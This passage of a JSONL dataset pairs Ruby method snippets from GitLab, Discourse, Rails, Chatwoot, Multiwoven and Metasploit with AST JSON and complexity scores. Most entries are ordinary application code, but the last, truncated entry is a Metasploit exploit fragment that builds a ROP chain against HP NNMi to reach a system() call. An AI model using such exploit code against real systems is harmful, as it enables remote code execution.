\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"schema\"]}]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Tracking\"]},\"StandardContext\"]},\"GITLAB_STANDARD_SCHEMA_URL\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"validate_standard_context\",{\"type\":\"lvar\",\"children\":[\"standard_context\"]},{\"type\":\"lvar\",\"children\":[\"expected_namespace\"]},{\"type\":\"lvar\",\"children\":[\"extra\"]}]},{\"type\":\"lvasgn\",\"children\":[\"service_ping_context\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contexts\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"schema\"]}]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Tracking\"]},\"ServicePingContext\"]},\"SCHEMA_URL\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"validate_service_ping_context\",{\"type\":\"lvar\",\"children\":[\"service_ping_context\"]}]}]}]}]}]}","id":"015bb55a-9654-4bc3-97e4-dae935ade488"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/oidc/step_up_authentication_flow.rb","start_line":142,"raw_source":"def omniauth_step_up_auth_session_data\n          ::Gitlab::Auth::Oidc::StepUpAuthentication.omniauth_step_up_auth_session_data(session)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"omniauth_step_up_auth_session_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Auth\"]},\"Oidc\"]},\"StepUpAuthentication\"]},\"omniauth_step_up_auth_session_data\",{\"type\":\"send\",\"children\":[null,\"session\"]}]}]}","id":"e59729e3-142f-49e7-bd7f-fc9fd816e972"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/design_management/versions_finder.rb","start_line":44,"raw_source":"def by_version_id(items)\n      return items unless params[:version_id]\n\n      items.id_in(params[:version_id])\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"by_version_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"version_id\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"id_in\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"version_id\"]}]}]}]}]}","id":"1dde52d1-af1c-4d9c-b9b6-5060b30515af"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/html_prettify.rb","start_line":300,"raw_source":"def stupefy_entities(str)\n    new_str = str.dup\n\n    {\n      en_dash: \"-\",\n      em_dash: \"--\",\n      single_left_quote: \"'\",\n      single_right_quote: \"'\",\n      double_left_quote: '\"',\n      double_right_quote: '\"',\n      ellipsis: \"...\",\n    }.each { |k, v| new_str.gsub!(/#{entity(k)}/, v) }\n\n    new_str\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"stupefy_entities\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_str\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"dup\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"en_dash\"]},{\"type\":\"str\",\"children\":[\"-\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"em_dash\"]},{\"type\":\"str\",\"children\":[\"--\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"single_left_quote\"]},{\"type\":\"str\",\"children\":[\"'\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"single_right_quote\"]},{\"type\":\"str\",\"children\":[\"'\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"double_left_quote\"]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"double_right_quote\"]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ellipsis\"]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_str\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"entity\",{\"type\":\"lvar\",\"children\":[\"k\"]}]}]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]},{\"type\":\"lvar\",\"children\":[\"new_str\"]}]}]}","id":"63745f8a-c015-4f76-94ad-356d09f463d2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/build_runner_session.rb","start_line":26,"raw_source":"def terminal_specification\n      wss_url = Gitlab::UrlHelpers.as_wss(Addressable::URI.escape(url))\n      return {} unless wss_url.present?\n\n      parsed_wss_url = URI.parse(wss_url)\n      parsed_wss_url.path += '/exec'\n      channel_specification(parsed_wss_url, TERMINAL_SUBPROTOCOL)\n    end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"terminal_specification\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wss_url\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"UrlHelpers\"]},\"as_wss\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Addressable\"]},\"URI\"]},\"escape\",{\"type\":\"send\",\"children\":[null,\"url\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wss_url\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"parsed_wss_url\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"wss_url\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_wss_url\"]},\"path\"]},\"+\",{\"type\":\"str\",\"children\":[\"/exec\"]}]},{\"type\":\"send\",\"children\":[null,\"channel_specification\",{\"type\":\"lvar\",\"children\":[\"parsed_wss_url\"]},{\"type\":\"const\",\"children\":[null,\"TERMINAL_SUBPROTOCOL\"]}]}]}]}","id":"fc91ed28-83e8-409b-a75c-71f4a8bd8232"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailbox/app/controllers/action_mailbox/base_controller.rb","start_line":11,"raw_source":"def ensure_configured\n        unless ActionMailbox.ingress == ingress_name\n          head :not_found\n        end\n      end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_configured\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionMailbox\"]},\"ingress\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"ingress_name\"]}]},null,{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"not_found\"]}]}]}]}","id":"801be19d-742e-4d7c-8428-258f81324c33"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/lab.rb","start_line":145,"raw_source":"def cmd_lab_load_running(*args)\n        return lab_usage if args.empty?\n\n        if args[0] =~ /^remote_/\n          return lab_usage unless args.count == 3\n\n          ## Expect a username & password\n          @controller.build_from_running(args[0], args[1], args[2])\n        else\n          return lab_usage unless args.count == 1\n\n          @controller.build_from_running(args[0])\n        end\n      end","complexity_score":24.8,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_lab_load_running\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lab_usage\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^remote_\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"count\"]},\"==\",{\"type\":\"int\",\"children\":[3]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lab_usage\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"build_from_running\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"count\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lab_usage\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"build_from_running\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}]}","id":"0d67c7ca-6082-430e-82ff-76ebb4dc18f9"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/request/session_test.rb","start_line":167,"raw_source":"def test_id_was_for_existing_session_after_destroy\n        session = Session.create(store, req, {})\n        session.destroy\n        assert_equal 1, session.id_was\n      end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_id_was_for_existing_session_after_destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"session\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Session\"]},\"create\",{\"type\":\"send\",\"children\":[null,\"store\"]},{\"type\":\"send\",\"children\":[null,\"req\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"id_was\"]}]}]}]}","id":"2b711eac-c3ac-4ef8-a563-f8deafd043c3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/build.rb","start_line":559,"raw_source":"def playable?\n      action? && !archived? && (manual? || scheduled? || retryable?)\n    end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"playable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"archived?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"manual?\"]},{\"type\":\"send\",\"children\":[null,\"scheduled?\"]}]},{\"type\":\"send\",\"children\":[null,\"retryable?\"]}]}]}]}]}","id":"45560649-3a24-4c24-9677-ab7e3c40ecfe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/discussions/unresolve_service.rb","start_line":32,"raw_source":"def send_graphql_triggers\n      return unless merge_request && @all_discussions_resolved_before\n\n      GraphqlTriggers.merge_request_merge_status_updated(merge_request)\n    end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"send_graphql_triggers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},{\"type\":\"ivar\",\"children\":[\"@all_discussions_resolved_before\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GraphqlTriggers\"]},\"merge_request_merge_status_updated\",{\"type\":\"send\",\"children\":[null,\"merge_request\"]}]}]}]}","id":"d46b6375-39ec-4b20-9ee8-0386289464b2"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/mailers/sync_run_mailer.rb","start_line":6,"raw_source":"def status_email\n    @sync_run = params[:sync_run]\n    @sync = @sync_run.sync\n    @source_connector_name = @sync_run.sync.source.name\n    @destination_connector_name = @sync_run.sync.destination.name\n    host = ENV[\"UI_HOST\"]\n    @sync_run_url = \"#{host}/activate/syncs/#{@sync.id}/run/#{@sync_run.id}\"\n    mail(to: params[:recipient], subject: \"Sync failure\") do |format|\n      format.html { render layout: false }\n    end\n  end","complexity_score":27.4,"ast_json":"{\"type\":\"def\",\"children\":[\"status_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@sync_run\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sync_run\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@sync\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sync_run\"]},\"sync\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@source_connector_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sync_run\"]},\"sync\"]},\"source\"]},\"name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@destination_connector_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sync_run\"]},\"sync\"]},\"destination\"]},\"name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UI_HOST\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@sync_run_url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\"/activate/syncs/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sync\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"/run/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sync_run\"]},\"id\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mail\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"recipient\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"str\",\"children\":[\"Sync failure\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}]}","id":"0b6cc7eb-c34d-4eb2-b92e-8de25119fe69"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/integrations/slack/channel_builder.rb","start_line":62,"raw_source":"def update_reference_id(reference_id)\n    channel = find_channel(reference_id)\n    return if channel.blank?\n\n    slack_client.conversations_join(channel: channel[:id]) if channel[:is_private] == false\n    @hook.update!(reference_id: channel[:id], settings: { channel_name: channel[:name] }, status: 'enabled')\n    @hook\n  end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"update_reference_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reference_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"channel\",{\"type\":\"send\",\"children\":[null,\"find_channel\",{\"type\":\"lvar\",\"children\":[\"reference_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"is_private\"]}]},\"==\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"slack_client\"]},\"conversations_join\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"channel\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hook\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reference_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"settings\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"channel_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"str\",\"children\":[\"enabled\"]}]}]}]},{\"type\":\"ivar\",\"children\":[\"@hook\"]}]}]}","id":"93167596-57a2-45ac-8092-cead089dc2b1"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic.rb","start_line":1384,"raw_source":"def posters_summary(options = {}) # avatar lookup in options\n    @posters_summary ||= TopicPostersSummary.new(self, options).summary\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"posters_summary\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@posters_summary\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicPostersSummary\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"summary\"]}]}]}","id":"aba1f4fb-2f79-4d9c-935b-28ee67db3219"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/vbulletin.rb","start_line":14,"raw_source":"def initialize\n    super\n\n    host = ENV[\"DB_HOST\"] || \"localhost\"\n    username = ENV[\"DB_USERNAME\"] || \"root\"\n    password = ENV[\"DB_PASSWORD\"]\n    database = ENV[\"DB_NAME\"] || \"vbulletin\"\n    charset = ENV[\"DB_CHARSET\"] || \"utf8\"\n\n    @html_entities = HTMLEntities.new\n    @encoding = CHARSET_MAP[charset]\n\n    @client =\n      Mysql2::Client.new(\n        host: host,\n        username: username,\n        password: password,\n        database: database,\n        encoding: charset,\n        reconnect: true,\n      )\n\n    @client.query_options.merge!(as: :array, cache_rows: false)\n\n    @has_post_thanks = mysql_query(<<-SQL).to_a.count > 0\n        SELECT `COLUMN_NAME`\n          FROM `INFORMATION_SCHEMA`.`COLUMNS`\n         WHERE `TABLE_SCHEMA`='#{database}'\n           AND `TABLE_NAME`='user'\n           AND `COLUMN_NAME` LIKE 'post_thanks_%'\n    SQL\n\n    @user_ids_by_email = {}\n  end","complexity_score":29.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DB_HOST\"]}]},{\"type\":\"str\",\"children\":[\"localhost\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DB_USERNAME\"]}]},{\"type\":\"str\",\"children\":[\"root\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"password\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DB_PASSWORD\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"database\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DB_NAME\"]}]},{\"type\":\"str\",\"children\":[\"vbulletin\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"charset\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DB_CHARSET\"]}]},{\"type\":\"str\",\"children\":[\"utf8\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@html_entities\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HTMLEntities\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@encoding\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CHARSET_MAP\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"charset\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@client\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mysql2\"]},\"Client\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"lvar\",\"children\":[\"database\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"encoding\"]},{\"type\":\"lvar\",\"children\":[\"charset\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reconnect\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"query_options\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"sym\",\"children\":[\"array\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cache_rows\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@has_post_thanks\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        SELECT `COLUMN_NAME`\\n\"]},{\"type\":\"str\",\"children\":[\"          FROM `INFORMATION_SCHEMA`.`COLUMNS`\\n\"]},{\"type\":\"str\",\"children\":[\"         WHERE `TABLE_SCHEMA`='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"database\"]}]},{\"type\":\"str\",\"children\":[\"'\\n\"]},{\"type\":\"str\",\"children\":[\"           AND `TABLE_NAME`='user'\\n\"]},{\"type\":\"str\",\"children\":[\"           AND `COLUMN_NAME` LIKE 'post_thanks_%'\\n\"]}]}]},\"to_a\"]},\"count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@user_ids_by_email\",{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"f4f7d0f9-bdbc-41a7-9a74-fed1e05c26fd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/cleanup_refs_service.rb","start_line":11,"raw_source":"def self.schedule(merge_request)\n      merge_request.create_cleanup_schedule(scheduled_at: TIME_THRESHOLD.from_now)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"schedule\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"create_cleanup_schedule\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scheduled_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TIME_THRESHOLD\"]},\"from_now\"]}]}]}]}]}","id":"e7b7d23e-a25f-4b99-ad19-d2bd3d99f053"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb","start_line":143,"raw_source":"def rop_hp_nnmi_9_10(ov_base)\n    rop = rand_text_alpha(775)\n    rop << [0x808d7c1].pack(\"V\")          # pop ebx ; pop ebp ; ret\n    rop << [ov_base + 0x481A8].pack(\"V\")  # ebx: libov .got\n    rop << [0x8096540].pack(\"V\")          # ptr to .data where user controlled string will be stored:\n    # \"PMD Stack option specified, but stack not available (user_controlled)\"\n    rop << [0x808d7c2].pack(\"V\")          # pop ebp # ret\n    rop << [0x08096540 + 4732].pack(\"V\")  # ebp: ptr to our controlled data in .data (+0x1028 to compensate)\n    rop << [ov_base + 0x1D692].pack(\"V\") # ptr to 'call _system' sequence:\n    # .text:0001D692  lea     eax, [ebp+dest]\n    # .text:0001D698  push    eax             ; command\n    # .text:0001D699  call    _system\n    rop\n  